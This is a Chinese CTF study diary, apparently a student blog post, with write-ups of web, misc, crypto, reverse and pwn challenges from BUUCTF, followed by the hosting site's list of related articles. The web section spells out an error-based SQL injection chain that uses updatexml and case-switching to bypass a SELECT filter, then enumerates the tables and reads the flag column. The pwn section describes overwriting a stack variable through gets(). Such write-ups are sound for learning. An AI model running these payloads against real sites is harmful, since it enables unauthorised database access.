寒假1.18

web(报错注入)

 [第一章 web入门]SQL注入-2

题解:

打开是个403界面,还以为没开成

通过题目提示,访问/login.php /user.php

合在一起访问屁都没有,分开访问,/login.php回显:

/user.php回显:

尝试在url后加入?id=1,没有用

查看源代码得到这么一句话,有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入

使用提示的方法,使用普通payload,dual用于测试数据库是否可以正常使用,随便输入一个密码,在url后加入?tips=1,重新发包,从提示可看出select被过滤了

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=123

尝试大小写绕过,成功注入,说明是字符型注入

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

 查表名,存在两张表,猜测在fl4g中

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

查字段 ,看到flag了

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

 查看字段获取flag

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

 

misc

buuctf-伟大的侦探

下载附件后解压,需要密码

取消后打开看,有一个.txt文件可查看,打开是一个EBCDIC编码

注意这里不能复制粘贴过来,直接把文件拖进来才可以

在视图里修改编辑方式为EBCDIC编码(也不知道为什么是这个编码,就当是积累经验了)

输入密码解压,一堆乱七八糟的小人

搜索之后得知这出自《福尔摩斯探密集》跳舞的小人

手搓一下flag就出来了

flag{iloveholmesandwllm}

crypto

BUUCTF-异性相吸

解压后得到两个.txt文件,有点怀疑会不会跟misc那题一样是EBCDIC编码

看了别人的wp,得知题目强调“异性”,“异”指的即为一种不同的、对立的东西,而计算机中最先接触的对立的东西即为0和1,所以先将密文和key都转为二进制

key:

0110000101110011011000010110010001110011011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011100010111011101100101011100110111000101100110

密文:

0000011100011111000000000000001100001000000001000001001001010101000000110001000001010100010110000100101101011100010110000100101001010110010100110100010001010010000000110100010000000010010110000100011000000110010101000100011100000101010101100100011101010111010001000001001001011101010010100001010000011011

因为两个的二进制位数相同,根据“相吸”两字,推测密文和秘钥相对应的每一位二进制之间相同为0,不同为1,也就是异或

找一个在线工具把异或解决了

再二进制转文本,即可得到flag

reverse

BUUCTF-[GWCTF 2019]pyre

前置知识:.pyc文件

pyc文件是一种二进制文件,是由py文件经过编译后生成的文件,是一种byte code字节码,可以提高加载速度,且是一种跨平台的字节码,可以由python的虚拟机来执行

且pyc的内容与python版本相关,执行的python版本需要与编译pyc的python的版本相同

pyc文件还可以防止源码泄露,也就是说我们直接打开pyc是看不到源码的,需要使用反编译工具

题解:

下载后发现是一个.pyc文件,但是ida打不开,可以直接找一个在线工具解密

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):num = ((input1[i] + i) % 128 + 128) % 128code += numfor i in range(l - 1):code[i] = code[i] ^ code[i + 1]print code
code = ['%1f','%12','%1d','(','0','4','%01','%06','%14','4',',','%1b','U','?','o','6','*',':','%01','D',';','%','%13']

第一个for循环:获取input1的每个字符的ASCII码,并将其与当前索引i相加,除以128取模,再加上128后再次除以128取模

第二个for循环:对code列表中相邻的元素进行异或操作,并将结果重新赋值给前一个元素

编写脚本进行逆操作,这里得注意,要将%改为\x才可运行代码,但是单独的%不需要改

参考博客:【BUUCTF-Reverse】0x10.[GWCTF 2019]pyre-CSDN博客
BUUCTF-[GWCTF 2019]pyre-CSDN博客

pwn

buuctfciscn_2019_n_1

前置知识:

setvbuf函数:

属于c库函数,可定义流stream应如何缓冲

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)

stream: 指向FILE对象的指针,该FILE对象标识了一个打开的流

buffer:分配给用户的缓冲。如果设置为NULL,该函数会自动分配一个指定大小的缓冲

mode:指定了文件缓冲的模式(全缓冲,行缓冲,无缓冲)

size:缓冲的大小,以字节为单位

如果成功,则该函数返回 0,否则返回非零值。

常见的栈溢出函数:

read()、write()、gets()、strcpy()和memcpy()和strncpy()、printf()和scanf()

具体用法和注意事项:从缓冲系统文件到常见栈溢出函数_存在栈溢出的函数-CSDN博客

题解:

先在exeinfope中查看,无壳,64位,.elf文件

ida64打开,找到主函数main,f5反汇编

func函数和昨天那题gets函数的位置有点相似,查看一下func函数,找到了gets()函数和system()函数

v2先定义为0.0

这里需要使v2的值为11.28125才可返回system函数

gets(&v1)函数没有限制v1的大小,双击v1查看一下栈区

思路:通过gets函数覆盖var_4的值为11.28125,转一下进制,注意是浮点数

编写exp运行即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/3825.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何通过 Apache Airflow 将数据导入 Elasticsearch

作者:来自 Elastic Andre Luiz 了解如何通过 Apache Airflow 将数据导入 Elasticsearch。 Apache Airflow Apache Airflow 是一个旨在创建、安排(schedule)和监控工作流的平台。它用于编排 ETL(Extract-Transform-Load&#xff0…

企业分类相似度筛选实战:基于规则与向量方法的对比分析

文章目录 企业表相似类别筛选实战项目背景介绍效果展示基于规则的效果基于向量相似的效果 说明相关文章推荐 企业表相似类别筛选实战 项目背景 在当下RAG(检索增强生成)技术应用不断发展的背景下,掌握文本相似算法不仅能够助力信息检索&…

Jenkins-Pipeline简述

一. 什么是Jenkins pipeline: pipeline在jenkins中是一套插件,主要功能在于,将原本独立运行于单个或者多个节点的任务连接起来,实现单个任务难以完成的复杂发布流程。Pipeline的实现方式是一套Groovy DSL,任何发布流程…

基于海思soc的智能产品开发(高、中、低soc、以及和fpga的搭配)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 市场上关于图像、音频的soc其实非常多,这里面有高、中、低档,开发方式也不相同。之所以会这样,有价格的因素&am…

C# 修改项目类型 应用程序程序改类库

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的,可以在任何平台上使用。 源码指引:github源…

6、原来可以这样理解C语言_函数(1/8)函数的概念

目录 一、函数的概念 一、函数的概念 数学中我们其实就⻅过函数的概念,⽐如:⼀次函数 ykxb ,k和b都是常数,给⼀个任意的x,就 得到⼀个y值。 其实在C语⾔也引⼊函数(function)的概念&#xff0c…

Excel 技巧10 - 如何检查输入重复数据(★★)

本文讲了如何在Excel中通过COUNTIF来检查输入重复数据。 当输入重复数据时,显示错误提示。 1,通过COUNTIF来检查输入重复数据 比如下面是想检查不要输入重复的学号。 选中C列,点 Menu > 数据 > 数据验证 在数据验证页面&#xff0c…

【Linux系统】Ext系列磁盘文件系统二:引入文件系统(续篇)

inode 和 block 的映射 该博文中有详细解释:【Linux系统】inode 和 block 的映射原理 目录与文件名 这里有几个问题: 问题一: 我们访问文件,都是用的文件名,没用过 inode 号啊? 之前总是说可以通过一个…

[计算机网络]一. 计算机网络概论第一部分

作者申明&#xff1a;作者所有文章借助了各个渠道的图片视频以及资料&#xff0c;在此致谢。作者所有文章不用于盈利&#xff0c;只是用于个人学习。 1.0推荐动画 【网络】半小时看懂<计算机网络>_哔哩哔哩_bilibili 1.1计算机网络在信息时代的作用 在当今信息时代&…

Python操作Excel——openpyxl使用笔记(2)

2. 操作工作表 前面提到一个工作簿中会有一个或者多个工作表&#xff0c;当前使用的工作表被称作活动工作表&#xff0c;这里展开介绍一下对于工作表的一些操作。 2.1 枚举所有工作表 使用for循环可以很方便的遍历每个工作表&#xff1a; import openpyxl wb openpyxl.o…

Social LSTM:Human Trajectory Prediction in Crowded Spaces | 文献翻译

概要 行人遵循不同轨迹以避免障碍物和容纳同行者。任何在这种场景中巡航的自动驾驶车辆都需要能够遇见行人的未来位置并相应地调整其路线以避免碰撞。轨迹预测问题能够被看作一个顺序生成任务&#xff0c;其中我们对基于行人过去的位置预测其未来的轨迹感兴趣。根据最近RNN&am…

从零开始:Gitee 仓库创建与 Git 配置指南

引言 Git 是一款广泛使用的版本控制工具&#xff0c;它能够帮助开发者在开发过程中高效地管理代码的版本。而 Gitee&#xff08;码云&#xff09;是国内知名的 Git 托管平台&#xff0c;它提供了强大的代码托管、团队协作和项目管理功能。如果你是 Git 和 Gitee 的新手&#x…

挖掘机检测数据集,准确识别率91.0%,4327张原始图片,支持YOLO,COCO JSON,PASICAL VOC XML等多种格式标注

挖掘机检测数据集&#xff0c;准确识别率91.0%&#xff0c;4327张图片&#xff0c;支持YOLO&#xff0c;COCO JSON&#xff0c;PASICAL VOC XML等多种格式标注 数据集详情 数据集分割 训练组70&#xff05; 3022图片 有效集20&#xff05; 870图片 测试集10&…

CV 图像处理基础笔记大全(超全版哦~)!!!

一、图像的数字化表示 像素 数字图像由众多像素组成&#xff0c;是图像的基本构成单位。在灰度图像中&#xff0c;一个像素用一个数值表示其亮度&#xff0c;通常 8 位存储&#xff0c;取值范围 0 - 255&#xff0c;0 为纯黑&#xff0c;255 为纯白。例如&#xff0c;一幅简单的…

QT 使用QTableView读取数据库数据,表格分页,跳转,导出,过滤功能

文章目录 效果图概述功能点代码分析导航栏表格更新视图表格导出表格过滤 总结 效果图 概述 本案例用于对数据库中的数据进行显示等其他操作。数据库的映射&#xff0c;插入等功能看此博客框架&#xff1a;数据模型使用QSqlTableModel&#xff0c;视图使用QTableView&#xff0…

UI自动化测试:异常截图和page_source

自动化测试过程中&#xff0c;是否遇到过脚本执行中途出错却不知道原因的情况&#xff1f;测试人员面临的不仅是问题的复现&#xff0c;还有对错误的快速定位和分析。而异常截图与页面源码&#xff08;Page Source&#xff09;的结合&#xff0c;正是解决这一难题的利器。 在实…

Spark常见面试题-部分待更新

1. 简述hadoop 和 spark 的不同点&#xff08;为什么spark更快&#xff09; Hadoop是一个分布式管理、存储、计算的生态系统&#xff0c;包括HDFS&#xff08;分布式文件系统&#xff09;、MapReduce&#xff08;计算引擎&#xff09;和YARN&#xff08;资源调度器&#xff09;…

HackMyVM-Klim靶机的测试报告

目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Getshell 3、提权 CVE-2008-0166 四、结论 一、测试环境 1、系统环境 渗透机&#xff1a;kali2021.1(192.168.159.127) 靶 机&#xff1a;debian(192.168.159.27) 注意事…

数据结构题目 课时6

题目 1、设一棵树的度是 4&#xff0c;其中度为 0, 1, 2, 3, 4 的结点个数分别是 8, 4, 2, 1 和&#xff08; &#xff09;。 A. 4 B. 3 C. 2 D. 1 2、设一棵 m 叉树中有 N₁个度数为 1 的结点&#xff0c;N₂个度数为 2 的结点&#xff0c;……&#xff0c;Nₘ个度…

Linux下源码编译安装Nginx1.24及服务脚本实战

1、下载Nginx [rootlocalhost ~]# wget -c https://nginx.org/download/nginx-1.24.0.tar.gz2、解压 [rootlocalhost ~]# tar xf nginx-1.24.0.tar.gz -C /usr/local/src/3、安装依赖 [rootlocalhost ~]# yum install gcc gcc-c make pcre-devel openssl-devel -y4、 准备 N…